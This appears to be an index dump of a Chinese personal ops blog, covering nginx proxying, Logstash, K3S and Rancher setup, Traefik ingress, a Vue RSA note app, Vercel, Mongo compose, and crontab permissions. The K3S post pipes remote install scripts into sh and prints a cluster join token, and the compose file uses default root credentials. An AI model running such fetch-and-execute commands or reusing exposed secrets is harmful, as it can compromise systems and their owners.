$remote_addr; client_max_body_size 100m; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Host $host; proxy_pass http://$up_addr; } 服务主机的 nginx 配置 location ^~ / { if ($host = mcs.****.12ms.xyz) { set $rule_hit 1; set $up_addr 192.168.66.10:23333; } if ($host = router.****.12ms.xyz) { set $rule_hit 1; set $up_addr 192.168.66.1:80; } if ($host = ap.****.12ms.xyz) { set $rule_hit 1; set $up_addr 192.168.66.2:80; } if ($host = esxi.****.12ms.xyz) { set $rule_hit 1; set $up_addr 192.168.66.3:80; } if ($rule_hit != 1) { set $up_addr 192.168.66.11:80; } proxy_set_header x-real-ip $remote_addr; proxy_set_header x-forwarded-for $proxy_add_x_forwarded_for; client_max_body_size 100m; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Host $host; proxy_pass http://$up_addr; } ","date":"2020-08-28T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/08/2020-08-28-%E5%AE%B6%E5%BA%AD%E7%BD%91%E7%BB%9C%E7%9A%84%E5%85%AC%E7%BD%91%E8%AE%BF%E9%97%AE/","tags":["nginx"],"title":"家庭网络的公网访问"},{"categories":["op之路"],"contents":"工作时候遇到了日志解析入库的配置，过程不复杂但是很经典，这里记录一下 Logstash 的日志解析的配置过程，以及设计到的主键的替换。\nGrok 原始日志处理 原始日志的内容如下面给出：\n[error][2020-08-07T00:00:24.520Z] responseError:{\u0026#34;message\u0026#34;:\u0026#34;timeout of 20000ms exceeded\u0026#34;,\u0026#34;name\u0026#34;:\u0026#34;Error\u0026#34;,\u0026#34;stack\u0026#34;:\u0026#34;Error: timeout of 20000ms exceeded\\n at createError (/data/web-ssr/node_modules/axios/lib/core/createError.js:16:15)\\n at ClientRequest.handleRequestTimeout (/data/web-ssr/node_modules/axios/lib/adapters/http.js:256:16)\\n at Object.onceWrapper (events.js:286:20)\\n at ClientRequest.emit (events.js:203:15)\\n at ClientRequest.EventEmitter.emit (domain.js:448:20)\\n at Socket.emitRequestTimeout (_http_client.js:662:40)\\n at Object.onceWrapper (events.js:286:20)\\n at Socket.emit (events.js:198:13)\\n at Socket.EventEmitter.emit (domain.js:448:20)\\n at Socket._onTimeout (net.js:442:8)\u0026#34;,\u0026#34;config\u0026#34;:{\u0026#34;url\u0026#34;:\u0026#34;http://9.59.2.110:3035/http_operation/music_hit/get_home_data\u0026#34;,\u0026#34;method\u0026#34;:\u0026#34;get\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;activity_id\u0026#34;:\u0026#34;5f23b8c81174149d1c8518e7\u0026#34;,\u0026#34;rank_id\u0026#34;:\u0026#34;5f23baaf1174149d1c8518e8\u0026#34;,\u0026#34;rank_type\u0026#34;:\u0026#34;2\u0026#34;,\u0026#34;wmid\u0026#34;:\u0026#34;191890335\u0026#34;,\u0026#34;lang\u0026#34;:\u0026#34;en\u0026#34;,\u0026#34;region\u0026#34;:\u0026#34;mm\u0026#34;},\u0026#34;data\u0026#34;:null,\u0026#34;headers\u0026#34;:{\u0026#34;Accept\u0026#34;:\u0026#34;application/json, text/plain, */*\u0026#34;,\u0026#34;User-Agent\u0026#34;:\u0026#34;axios/0.19.2\u0026#34;},\u0026#34;transformRequest\u0026#34;:[null],\u0026#34;transformResponse\u0026#34;:[null],\u0026#34;timeout\u0026#34;:20000,\u0026#34;xsrfCookieName\u0026#34;:\u0026#34;XSRF-TOKEN\u0026#34;,\u0026#34;xsrfHeaderName\u0026#34;:\u0026#34;X-XSRF-TOKEN\u0026#34;,\u0026#34;maxContentLength\u0026#34;:-1,\u0026#34;needModule\u0026#34;:true},\u0026#34;code\u0026#34;:\u0026#34;ECONNABORTED\u0026#34;} 根据日志的内容，宽衣根据特征来进行正则提取，分别是前面的level， time，和 后面的Json 的body。根据Grok 的语法来进行解析，这里使用 GREEDYDATA 可以理解为就是 .*的形式来进行正则的提取。之后，通过提取到的字段，来json 的解析。\nfilter{ grok { match =\u0026gt; [ \u0026#34;message\u0026#34;, \u0026#34;\\[%{GREEDYDATA:level}\\]\\[%{GREEDYDATA:time}\\] responseError:%{GREEDYDATA:body}\u0026#34;] } date { match =\u0026gt; [\u0026#34;time_local\u0026#34;,\u0026#34;yyyy-MMM-ddTHH:mm:ss Z\u0026#34;] target =\u0026gt; \u0026#34;@timestamp\u0026#34; } json { source =\u0026gt; \u0026#34;body\u0026#34; } } Replcae into 关于Elastic的根据主键的replace，直觉告诉我是不可以的，但是在查阅了不少资料之后发现，实际上是可行的。根据es 的文档里写，决定一个Document 的唯二的字段是 index 和 document_id。 因为都是写在同一个index 里面，所以这里的核心就是，在 ducument id。所以就有了下面的配置，来动态的更新docid 的值。从而实现了 es 里面的\bdoc 的replace into 的功能。\noutput { if \u0026#34;parsefailure\u0026#34; in [tags] { stdout {codec =\u0026gt; rubydebug} }else{ if [type] == \u0026#34;xxx_trace\u0026#34; { elasticsearch { #... document_id =\u0026gt; \u0026#34;%{sid}\u0026#34; } } } } 参考 Logstash最佳实践-Grok 正则捕获 ","date":"2020-08-20T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/08/2020-08-20-logstash-%E6%97%A5%E5%BF%97grok%E8%A7%A3%E6%9E%90%E4%BB%A5%E5%8F%8A%E4%B8%BB%E9%94%AE%E6%9B%B4%E6%96%B0/","tags":["elk","logstash"],"title":"Logstash 日志grok解析以及主键更新"},{"categories":["op之路"],"contents":"之前本站的是使用纯Docker 来进行部署。每一个博客的实例都会跑起来一个Mysql实例，但是服务器本身的规格很低只有1C1G。所以导致了有大量的数据被置换到了 Swap 里面，每当有请求的时候load都会大幅上升，导致了整机的卡顿。 所以本篇的目的，就是记录把Docker的mysql 的数据，导出到本地。\n（过程有点不想写了，临时罢工，因为实在没什么技术含量）\nmysqldump 来导出 wordpress 库里面的数据， 连上本地数据库，建立db use db 之后直接 SRC 一下 sql文件的所在绝对路径。 配置 wordpress 的 DB 配置，设置对应的host以及账户即可。 ","date":"2020-07-26T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/07/2020-07-26-%E5%8D%9A%E5%AE%A2%E8%BF%81%E7%A7%BB%E4%B9%8B%E8%B7%AF-db%E7%9A%84%E5%8E%BBdocker%E5%8C%96/","tags":["docker","mysql","wordpress"],"title":"博客迁移之路--DB的去Docker化"},{"categories":["op之路"],"contents":"在之前的K3S的配置的部分，有一个很诡异的问题就是，80和443 的端口的路由是直接走到了ingress层上面去，导致 nginx 的80端口的规则被 overwrite掉了。 但是ingress 是整个容器集群十分重要的一环。是连接容器内外网络的重要部分。 traefik 使用了label 来对ingress 来进行配置，使得路由走到不同的 service，最终走到Container。\n在这一篇里面，主要是对目前现有的 ingress 实践来进行总结。\n基础概念理解 k8s 的容器网络可以分为三层\nContainer Service Ingress 容器层面，可以使用容器的名字配合端口在 容器网络中互相访问。 但是这个IP是会变的，也就是说就是理解为一个随机的IP 为了固定这个IP就有了service 层，这个层可以来绑定一个 Deployment，并且对其内部的pod可以进行负载均衡。有了 service 就可以理解为有了一个固定的IP，根据service的名字，就可以直接来请求到对应POD提供的服务，而不需要关注POD的具体网络情况。也可以直接使用 NodePort 来占领HOST的端口 Ingress 层这一层十分重要，可以理解为一个Nginx类似的功能，根据路由和host或者其他规则来实现，外部流量到容器内部网络的分发\n基于 Ingress 的nginx 配置 这里来记录一个使用 K8S 的网络模型来部署起来的一个应用。\nDeployment spec: containers: - name: nginx image: nginx:1.14.2 ports: - containerPort: 80 在这里配置 Contailer 本身暴露80端口出来，这个端口通过容器（POD）IP可以访问\nService 在Server 层，相当于给所有的容器来绑定一个统一的入口。通过 selector来对容器进行选择。\napiVersion: v1 kind: Service metadata: name: nginx-service annotations: traefik.ingress.kubernetes.io/load-balancer-method: drr spec: template: metadata: labels: name: nginx-service spec: selector: app: nginx ports: - name: web port: 80 # service端口 targetPort: 80 # 容器端口 Ingress Ingress 层对外部流量使用规则来进行统一转发。\napiVersion: extensions/v1beta1 kind: Ingress metadata: name: nginx-ingress annotations: kubernetes.io/ingress.class: traefik spec: rules: - host: nginx.vm.12ms.xyz http: paths: - backend: serviceName: nginx-service servicePort: web K3S traekif 开启 API（dashboard） traefik本来是自带一个 dashboard的，但是由于安全原因，默认是不放通的。 所以这里需要来把这个功能打开。 这里也是没有资料自己研究出来的功能。看了 pod 的describe，发现traefik实际上已经配置了dash的8080端口。所以理论上讲，直接配置一个service 和 ingress 即可。\nPorts: 80/TCP, 8880/TCP, 443/TCP, 8080/TCP, 9100/TCP Host Ports: 0/TCP, 0/TCP, 0/TCP, 0/TCP, 0/TCP 所以我写了下面的配置\napiVersion: v1 kind: Service metadata: name: traefik-ui-svc namespace: kube-system spec: selector: app: traefik release: traefik ports: - name: dash port: 8080 targetPort: dash --- apiVersion: extensions/v1beta1 kind: Ingress metadata: name: traefik-web-ui namespace: kube-system annotations: kubernetes.io/ingress.class: traefik spec: rules: - host: traefik.vm.me http: paths: - backend: serviceName: traefik-ui-svc servicePort: dash 按理来说已经可以进行转发了，因为看到 service 和 ingress 已经有对应的绑定关系了，但是访问会报错 bad gateway 看样子像是 dashboard 没通。 上一个container来 curl 一下，看下实际情况，发现 80/443 都通。8080 不通。 之后上官网起查询，看看原因，发现 dashboard的功能默认是不开启的，需要我们在配置文件中配置这个入口，配置内容如下\n[api] entryPoint = \u0026#34;traefik\u0026#34; dashboard = true debug = false 如果使用的是 Helm 来进行部署的话，这里可以直接使用，在yaml 里面的配置。\ndashboard: enabled: true accessLogs: enabled: true 参考 Traefik ingress default bind port #1086\ncontainous/traefik-helm-chart\nhelm/charts\nNo deploy traefik also disables ServiceLB #1439\nKubernetes traefik ingress使用\n","date":"2020-07-23T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/07/2020-07-23-traefik-ingress-%E5%AE%9E%E8%B7%B5%E8%AE%B0%E5%BD%95/","tags":["ingress","k3s","k8s","traefik"],"title":"Traefik-Ingress 初步实践记录"},{"categories":["op之路"],"contents":"之前辛辛苦苦折腾的 K8S 集群由于是在是太重了，感觉没有很好的运营起来，导致被最后一堆交错的问题劝退。 后面偶尔看到了 K3S这个东西，自己孤陋寡闻，以为又是国人搞得什么山寨项目（笑） 后面偶然机会去仔细看了下，发现真是个好东西，对K8S基本能做到全部兼容，自己拿来用是足够了。 全部的依赖都在二进制包里，很方便的就可以跑起来。\n安装 由于只是一个 二进制文件，所以安装起来十分的简单，官方给了一键安装的脚本。 但是这里需要改一下，因为后面需要安装管理面板，以及master访问，所以在安装的时候需要指定参数，来使用 docker。\ncurl -sfL https://get.k3s.io | sh - curl -sfL https://get.k3s.io | sh -s - --docker k3s 默认是使用 的 containerd 来作为容器平台的。这里使用Docker来代替之，因为后面要跑起来一个 管理平台是 使用 Docker 来构建的。 命令跑完之后，k3s 就差不多安装好了。安装之后执行 k3s check-config，来检查k3s 的环境。发现有一个 fail\n# (RHEL7/CentOS7: User namespaces disabled; add \u0026#39;user_namespace.enable=1\u0026#39; to boot command line) (fail) # https://zhuanlan.zhihu.com/p/31871814 grubby --args=\u0026#34;user_namespace.enable=1\u0026#34; --update-kernel=\u0026#34;$(grubby --default-kernel)\u0026#34; 自定义配置 k3s 在完成安装之后，需要自定义一些配置，\n使用 docker 作为容器引擎 使用自身IP来作为bind ip 改写 kubeconfig 为到默认目录 kubeconfig 的权限 修改 vim /etc/systemd/system/k3s.service Systemde的配置文件里面的启动参数来对这些东西来进行设置\nExecStart=/usr/local/bin/k3s \\ server \\ \u0026#39;--docker\u0026#39; \\ \u0026#39;--bind-address=apiserver.cluster.local\u0026#39; \\ \u0026#39;--write-kubeconfig=/root/.kube/config\u0026#39; \\ \u0026#39;--write-kubeconfig-mode=644\u0026#39; 问题 k3s 的一些默认配置在 /var/lib/rancher/k3s/server/manifests 下面放置的。\nk3s-Helm\n诡异的问题 等待安装好之后，随便访问 127.0.0.1:80 发现返回的是 404，而实际上我们并没有 服务跑在 80 端口。之后查看当前的service情况，发现有 ingress 配置在了 80和 443 端口。\n➜ manifests kubectl get services -n kube-system NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE traefik LoadBalancer 10.43.127.25 192.168.66.100 8080:32635/TCP,8443:31959/TCP 138m 所以我们这里需要改一下 这里的 load banlance的设置，把绑定在 80的端口，指定到其他端口\nkubectl edit service/traefik -n kube-system kubectl get service/traefik -n kube-system -o yaml \u0026gt; traefik-svc.yaml 修改内容如下：\nports: - name: http nodePort: 32635 port: 8080 protocol: TCP targetPort: http - name: https nodePort: 31959 port: 8443 protocol: TCP targetPort: https Rancher 管理平台安装 前面的集群搭建好之后，这里需要部署集群管理工具。使用 rancher 来进行集群的管理。\ndocker run -d -v /data/docker/rancher-server/var/lib/rancher/:/var/lib/rancher/ --restart=unless-stopped --name rancher-server -p 80:80 -p 443:443 rancher/rancher:stable 跑起来之后，直接根据界面上的提示来进行初始化操作即可。\nsudo docker run -d --privileged --restart=unless-stopped --net=host -v /etc/kubernetes:/etc/kubernetes -v /var/run:/var/run rancher/rancher-agent:v2.4.5 --server https://192.168.66.10 --token ** --ca-checksum *** --controlplane --worker 但是在服务重启的情况，会出现证书不正确， 和下面的情况类似\nhttps://github.com/rancher/rancher/issues/24125\nHave FUN 之后直接打开master节点的80 便可以进行访问。 可以展示集群状态。等信息，另外有dashboard的功能。可以直接来进行使用 而且可以直接一件部署基于 Prometheus 和 grafana方案的监控系统。\n加入节点 有了前面建立的master节点之后，可以吧更多的节点加入集群。有了master 节点就可以很快的将其他的work接入进来。一个命令即可，token在 /var/lib/rancher/k3s/server/node-token 里面。\ncurl -sfL https://get.k3s.io | K3S_URL=https://192.168.66.10:6443 K3S_TOKEN=K10d2345a3d61da39b00e17780bbd151996d6559e926620035d5e2f83fba0678cd1::server:25cd47269d7e52fe7edfb5b208102b82 sh - 加入节点之后，就可以在控制台看到我们的新节点。\n监控 Rancher 本身自带了监控系统，可谓非常的全面了。 grafana 和 prometheus 的监控技术栈，也是非常好用的了。 在部署的时候，基本上实现了 oneClick 的安装，但是在安装之后，发现node节点出现了CrashRollBack的情况，看日志发现是 dial tcp 10.43.0.1:443: i/o timeout 这就奇怪了，这个是K3S 内部的clusterIP，不应该出现 的问题。\nUnable to communicate, dial tcp 10.43.0.1:443: i/o timeout #10322\n问题类似这种情况，解决方法重启机器解决。\nK9S K3S 集群本身已经可以使用 CLI 工具来进行管理，但是为了更好的来实现操作，这里推荐一个神器 ，K9S 安装方法，直接按照上面的intro来，不在赘述，对集群管理非常的方便。\n后面的话 综上，这次上K3S 还算成功，看看后面如何用到真正的项目中去。来感受微服务的快乐\n相关内容 轻量级 Kubernetes k3s 初探 Rancher 2.x 文档 你的第一次轻量级K8S体验 —— 记一次Rancher 2.2 + K3S集成部署过程 k3s-created cni0 overrides nginx port rules K3S集群一键安装 ","date":"2020-07-19T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/07/2020-07-19-k3s-%E9%83%A8%E7%BD%B2%E8%AE%B0%E5%BD%95/","tags":["docker","k3s","k8s","ops"],"title":"K3S 部署记录 -- 集群\u0026监控\u0026K9S"},{"categories":["dev"],"contents":"p-note是一个比较完善的前后端项目，也算是对最近WEB相关知识学习交的一次作业。页面内容还不尽完善，已经转入了迭代维护的模式，这里先贴一下项目的链接。可以感受一下。\nhttps://p-note.12ms.xyz/\n功能介绍呢？就是一个实现了阅后即焚的站点。这个项目是仿写的，原项目 vua.sh。模仿了UI设计，方案和后段内容是自己设计。\n技术简介 技术栈 这个项目目前使用到的技术，以及技术栈，都向最新看齐，来实现快速学习和快速成长。 使用的技术栈：\nServerless 函数服务部署 git integration 实现push 后的自动部署 基于 Vue 的 Element 实现前端页面设计 Nodejs 的 Koa 后端 Mongo Altas 数据库API服务 设计原理 前端通过 RSAnode 库来生成 RAS 密钥对，通过公钥来进行内容加密。加密内容通过 POST 传递到后端（注，后端不做解密操作），后端直接以 key:cipher的方式来进行入库。直到内容再被请求的时候，查库得到结果之后删除数据，返回加密数据，前端使用 密钥来进行解密。得到原始数据，完成阅后即焚。\n前端设计 前端使用的是 vur + element ui 这套常见的方案来实现的开发，这里主要对其中的一些点来进行总结。\n个人理解的vue 这里先从总的触发器说说自己理解中的VUE和 MVVM 模型。VUE 较比之前写的一些前端的内容，其最大的优势，目前感觉就是 MVVM 的方式（当然，可能是我目前接触较浅）。 与之前使用 JQuery 不同的是，JQuery 需要不断的去查询数据，和写数据来写或者读DOM的值。 但是这些在 VUE中已经使用了 VM层（viewmodel）层来把数据进行了双向的绑定：JS中的变量改变会使得DOM更新，反正JS中的变量值也会更新。实例代码如下所示：\n\u0026lt;el-card shadow=\u0026#34;never\u0026#34;\u0026gt; \u0026lt;p style=\u0026#34;overflow-wrap:break-word\u0026#34;\u0026gt;{{host}}\u0026lt;/p\u0026gt; \u0026lt;/el-card\u0026gt; \u0026lt;script\u0026gt; data() { return { get origin() {return location.origin; }, get host() {return location.origin + \u0026#34;/#/\u0026#34; + this.cipherB64;} }} \u0026lt;/script\u0026gt; view 与 components view 可以理解为页面内容，而Component是在各个vue中复用的。 APP.vue 中引用各个 view 可以根据 vue-router来SPA来达到多页面的效果。 view 中 可以复用各个 Component 来避免重复造轮子。 在vue 中，两个东西引入的方式很类似，引入代码如下：\n\u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;!-- 这里引入了插件 --\u0026gt; \u0026lt;Pnote /\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import Pnote from \u0026#34;@/views/Pnote.vue\u0026#34;; export default { name: \u0026#34;app\u0026#34;, components: { Pnote } }; \u0026lt;/script\u0026gt; 条件渲染 VUE 可以通过 v-if 的语句来实现动态的条件渲染，来决定渲染那些内容，在v-if 块里面支持 js 的条件语句\n\u0026lt;div v-if=\u0026#34;sentStatus == Status.EDIT\u0026#34;\u0026gt; \u0026lt;el-button type=\u0026#34;primary\u0026#34; style=\u0026#34;width:100%; height:70px\u0026#34; v-on:click=\u0026#34;postData\u0026#34;\u0026gt;Submit it\u0026lt;/el-button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div v-else-if=\u0026#34;sentStatus == Status.MSG\u0026#34;\u0026gt; \u0026lt;el-button type=\u0026#34;primary\u0026#34; style=\u0026#34;width:100%; height:70px\u0026#34; v-on:click=\u0026#34;goHome\u0026#34;\u0026gt;Delete it\u0026lt;/el-button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div v-else\u0026gt; \u0026lt;el-button type=\u0026#34;primary\u0026#34; style=\u0026#34;width:100%; height:70px\u0026#34; v-clipboard:success=\u0026#34;copy2board\u0026#34; v-clipboard:copy=\u0026#34;host\u0026#34;\u0026gt;Copy it\u0026lt;/el-button\u0026gt; \u0026lt;/div\u0026gt; 容器布局 element ui 可以使用 容器布局 来进行快速的常规布局。\n\u0026lt;el-container\u0026gt; \u0026lt;el-header\u0026gt;Header\u0026lt;/el-header\u0026gt; \u0026lt;el-main\u0026gt;Main\u0026lt;/el-main\u0026gt; \u0026lt;el-footer\u0026gt;Footer\u0026lt;/el-footer\u0026gt; \u0026lt;/el-container\u0026gt; mount 只执行一次 mount 在页面渲染的时候会执行，但是当页面dom 发生变化的时候，mount 也会被调用。所以就需要设置一个标志位，使得这一段只执行一次。\ndata() { return { firstPlayFlag: true };}, mounted() { if(this.firstPlayFlag) { this.showMsg(); this.firstPlayFlag = false; } } VueClipboard 点击快速的复制vue变量的值到剪切板，success 里面的是回调函数，copy 是vue的namespace 的host。\n\u0026lt;div v-else\u0026gt;\u0026lt;el-button type=\u0026#34;primary\u0026#34; style=\u0026#34;width:100%; height:70px\u0026#34; v-clipboard:success=\u0026#34;copy2board\u0026#34; v-clipboard:copy=\u0026#34;host\u0026#34;\u0026gt;Copy it\u0026lt;/el-button\u0026gt; element 通知框 element UI 可以快速的使用预置的通知框，具体的弹出代码如下\nthat.$notify({ type: \u0026#39;success\u0026#39;, title: \u0026#39;success\u0026#39;, message: \u0026#39;Submit Successfully\u0026#39;}); that.$notify.error({title: \u0026#39;error\u0026#39;, message: \u0026#39;Submit failed\u0026#39;}); RSA 密钥对生成 使用 RSAnode 来实现密钥生成，以及加解密函数。\nrsa: function() { const key = new NodeRSA({ b: 512 }); let publicKey = key.exportKey(\u0026#34;pkcs1-public-pem\u0026#34;); //公钥 let privateKey = key.exportKey(\u0026#34;pkcs1-private-pem\u0026#34;); //私钥 return { RSAencrypt: function(pas) { console.log(\u0026#34;encrypt user data\u0026#34;); console.log(this.GetPrivateKeyB64()); return key.encrypt(pas, \u0026#34;base64\u0026#34;); }, importPrivateKeyB64: function(privateKeyB64) { const privateKey = new Buffer(privateKeyB64, \u0026#34;base64\u0026#34;).toString( \u0026#34;ascii\u0026#34; ); key.importKey(privateKey, \u0026#34;pkcs1-private-pem\u0026#34;); }, //解密方法 RSAdecrypt: function(pas) { return key.decrypt(pas, \u0026#34;utf-8\u0026#34;); }, GetPrivateKey: function() { return privateKey; }, GetPubilcKey: function() { return privateKey; }, GetPubilcKeyB64: function() { let publicKeyB64 = new Buffer(publicKey).toString(\u0026#34;base64\u0026#34;); return publicKeyB64; }, GetPrivateKeyB64: function() { let privateKeyB64 = new Buffer(privateKey).toString(\u0026#34;base64\u0026#34;); return privateKeyB64; } }; 后端设计 ","date":"2020-07-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/07/2020-07-12-priv-note-%E5%BC%80%E5%8F%91%E7%AC%94%E8%AE%B0/","tags":["js","vue","前端"],"title":"priv-note 开发笔记"},{"categories":["dev"],"contents":"vercel.com 是一个 serverless 的函数服务平台，可以直接来整合到github 的仓库。 直接通过 push 事件来触发 CI和CD 的过程，极大的提高来生产力。\n快速开始 # 直接全局安装 ➜ npm install -g now # 中间省略 很多过程 # 初始化文件夹，选择 vue ➜ now init # 一个命令推送到 vercel 托管，稍后就可以访问。 ➜ now 托管非静态服务（函数服务） 配置文件 vue 的项目事实上是托管了 静态的页面，很多东西都能做到，像是 github page 并没有用到 函数服务，这里就他的函数服务来进行说明。\n使用函数服务的时候需要一个文件 now.json\n{ \u0026#34;version\u0026#34;: 2, \u0026#34;builds\u0026#34;: [ { \u0026#34;src\u0026#34;: \u0026#34;scripts/build_fileless.sh\u0026#34;, \u0026#34;use\u0026#34;: \u0026#34;@now/static-build\u0026#34; ,\u0026#34;config\u0026#34;: { \u0026#34;distDir\u0026#34;: \u0026#34;./\u0026#34; }}, { \u0026#34;src\u0026#34;: \u0026#34;server/now.js\u0026#34;, \u0026#34;use\u0026#34;: \u0026#34;@now/node\u0026#34; } ], \u0026#34;routes\u0026#34;: [ { \u0026#34;src\u0026#34;: \u0026#34;/(.*)\u0026#34;, \u0026#34;dest\u0026#34;: \u0026#34;server/now.js\u0026#34; } ] } 在 builds 里面来对构建的过程来进行描述，第一行是，在构建的时候执行自定义的脚本。第二行是重点，就是指定我们的最终使用serverless的函数入口。 在routes里的配置，可以指定不同的接口走的是不同的服务函数，这里使用的是 koa 来进行路由分发，所以这里所有的请求都转发的到来 now.js 上面\n入口函数 在官方的文档里，有给出的一个例程可以看到，这里的export的函数就是这里函数服务的handle，是一个httpserver的参数结构，接受两个参数传入的req和res。\nmodule.exports = function(req, res) { const { name = \u0026#39;World\u0026#39; } = req.query res.send(`Hello ${name}!`) } 所以在上的的我们知道 koa的app callback 也是一个 req和res的参数类型，所以我要使用 koa app 来作为这里的handle的话，就在导出的时候导出 module.exports = app.callback();,之后就可以按照传统的方式来编写Koa的内容了。\nconst Koa = require(\u0026#39;koa\u0026#39;); const app = new Koa(); app.use(async (ctx, next) =\u0026gt; { const start = Date.now(); await next(); const ms = Date.now() - start; ctx.set(\u0026#39;X-Response-Time\u0026#39;, `${ms}ms`); }); app.use(async (ctx) =\u0026gt; { ctx.body = \u0026#39;Hello from koa.js!\u0026#39;; }); module.exports = app.callback(); 参考资料 如何透過 ZEIT 方便快捷地部署免費的 Node.js 項目？ 如何将你的 ThinkJS 项目部署到 ZEIT 上 ","date":"2020-07-12T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/07/2020-07-12-%E4%BD%BF%E7%94%A8-zeit-vercel-%E6%9D%A5%E5%85%8D%E8%B4%B9%E9%83%A8%E7%BD%B2-serverless-%E5%87%BD%E6%95%B0%E6%9C%8D%E5%8A%A1/","tags":["docker","koa","serverless"],"title":"使用 zeit-vercel 来免费部署 serverless 函数服务"},{"categories":["op之路"],"contents":"用 Docker 来作为测试环境很舒服，可以用配置文件来进行统一的管理，前面有mysql 和 etcd 的例子 直接复制到相应文件夹，docker-compose up 即可\n# Use root/example as user/password credentials version: \u0026#39;3.1\u0026#39; services: mongo: image: mongo restart: always environment: MONGO_INITDB_ROOT_USERNAME: root MONGO_INITDB_ROOT_PASSWORD: example ports: - \u0026#34;27017:27017\u0026#34; mongo-express: image: mongo-express restart: always ports: - 8081:8081 environment: ME_CONFIG_MONGODB_ADMINUSERNAME: root ME_CONFIG_MONGODB_ADMINPASSWORD: example ","date":"2020-07-09T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/07/2020-07-09-docker-compose-%E5%BF%AB%E9%80%9F%E9%83%A8%E7%BD%B2mongo%E6%B5%8B%E8%AF%95%E7%8E%AF%E5%A2%83/","tags":["docker","mongo"],"title":"docker-compose 快速部署mongo测试环境"},{"categories":["dev"],"contents":"正文 简单的常用流程，记录一下，以备日后查阅\ngit init git add . git commit -m \u0026#34;Initial commit\u0026#34; git remote add origin https://github.com/superRaytin/alipay-app-ui.git # 如果配置错了远程的仓库 git remote remove origin # 推送到远端 git push origin master 在psuh的时候，会出现身份验证。这里因为启用了2FA，不能直接使用 帐号密码登陆，所以使用了证书进行认证，具体的流程可以见这篇\nGIT 配置 SSH 证书访问 ","date":"2020-07-05T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/07/2020-07-05-%E5%9C%A8%E6%9C%AC%E5%9C%B0%E7%9B%AE%E5%BD%95%E4%B8%8B%E5%88%9B%E5%BB%BAgit%E9%A1%B9%E7%9B%AE/","tags":["git"],"title":"在本地目录下创建GIT项目"},{"categories":["op之路"],"contents":"技术学习方面的东西，需要自己不断的区总结和复盘，把知识转化为自己的 也要理论作为经验的支柱，来使它更加健壮\n问题现象 用户执行 crontab 的时候，报错permission deny 的错误，具体错误内容\ncrontab -e /var/spool/cron/crontabs/admin: Permission denied 排查过程 权限检查 首先既然报错是 permission deny 所以想到的果断就是先检查bin文件的权限配置问题，发现crontad 的权限是 777（rwxrwxrwx），看起来执行完全没有问题。 使用 root 的用户来进行操作，发现root用户是可以执行没有问题。\n检查/var/spool/cron/crontabs/admin 的文件的权限，用户组以及用户也都是正常的\n深入排错 检查用户的sudoer 的权限看是否有限制使用 bin 的权限，但是实际上这个permission deny 不是在open crontab时产生的错误。\n所以遇事不决，来进行堆栈分析，在Clib调用的层面上来进行分析进行定位，使用 strace来看看执行时候的栈信息来定位问题，使用命令strace crontab -l来看看\n会在打印的函数调用里面有这样的一条，这里的文件就是 crontab 配置的内容，\nchdir(\u0026#34;/var/spool/cron\u0026#34;) = 0 #... write(2, \u0026#34;crontabs/rms/: fopen: Permission\u0026#34;..., 40crontabs/rms/: fopen: Permission denied ) = 40 可以看到在打开这个文件时候就报错了，拼接起来看看\n➜ ~ cat /var/spool/cron/crontabs/rms cat: /var/spool/cron/crontabs/rms: Permission denied 定位问题 在了解Cron的工作方式之后，想到了Crond 的一个特性，也就是每个用户维护自身的一个 crond 的配置，所以在执行权限上是需要有区分。所以在这里的crontabs 的文件夹是 t 位，也就是意味着，用户可以对这个目录来进行文件的存取，但是只能操作自己拥有的文件和目录。\ncd /var/spool/cron/ ll crontabs drwx-wx--T 2 root crontab 3 7月 4 15:16 crontabs/ 另外，如果直接访问这个文件，会被上层的文件夹的权限策略所deny掉，所以在执行crontab 的时候需要更高的权限，\n➜ ~ cat /var/spool/cron/crontabs/rms cat: /var/spool/cron/crontabs/rms: Permission denied 所以综上，可以得知，Crontab 的权限需要 +s 的权限，来使得用户执行的时候拥有所有者的权限也就是root的权限\n详细分析 在chmod 的权限中除了标准的 rwx之外其实还有 强制位（s权限）和粘滞位（t权限）。\ns位 包含S_ISUID、S_ISGID两个常量在内，叫做强制位权限，作用在于设置使文件在执行阶段具有文件所有者的权限，相当于临时拥有文件所有者的身份.可执行的文件搭配这个权限，便能得到特权，任意存取该文件的所有者能使用的全部系统资源 t位 /tmp和 /var/tmp 目录供所有用户暂时存取文件，亦即每位用户皆拥有完整的权限进入该目录，去浏览、删除和移动文件。 所以在一些需要使用更高级的权限来进行操作的 bin 文件的，一般都会拥有s位\n如果遇到了linux 本身的小工具出现报错，strace 是一个很好的办法来看看内部调用出现的问题。\n另外 crond 本身有一个 allow 和 deny 的文件，来控制那些用户可以使用 crond的功能\n参考链接 What could cause “Permission denied” for command crontab -e? ","date":"2020-07-04T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2020/07/2020-07-04-crontab-permission-denied/","tags":null,"title":"Crontab Permission denied"},{"categories":["op之路"],"contents":"终端上报功能由于模块bug以及不规范变更，导致大量用户接口重试请求，未达到事故级别，未影响核心功能，但造成一定的现网压力。\n故障原因：新版本服务存在设计缺陷 当请求量逐步增大时触发过载保护返回 503，但是IOS终端逻辑对503返回码会进行重试 导致服务已经过载情况下继续承受更高的重试请求量，从而更多用户产生更多重试， 形成正反馈，峰值请求达到 50k qps\n问题以及可改善点 发布流程问题，没有对变更进行周知 对于发布事件，需要进行统一周知，避免信息不对称从而问题定位缓慢 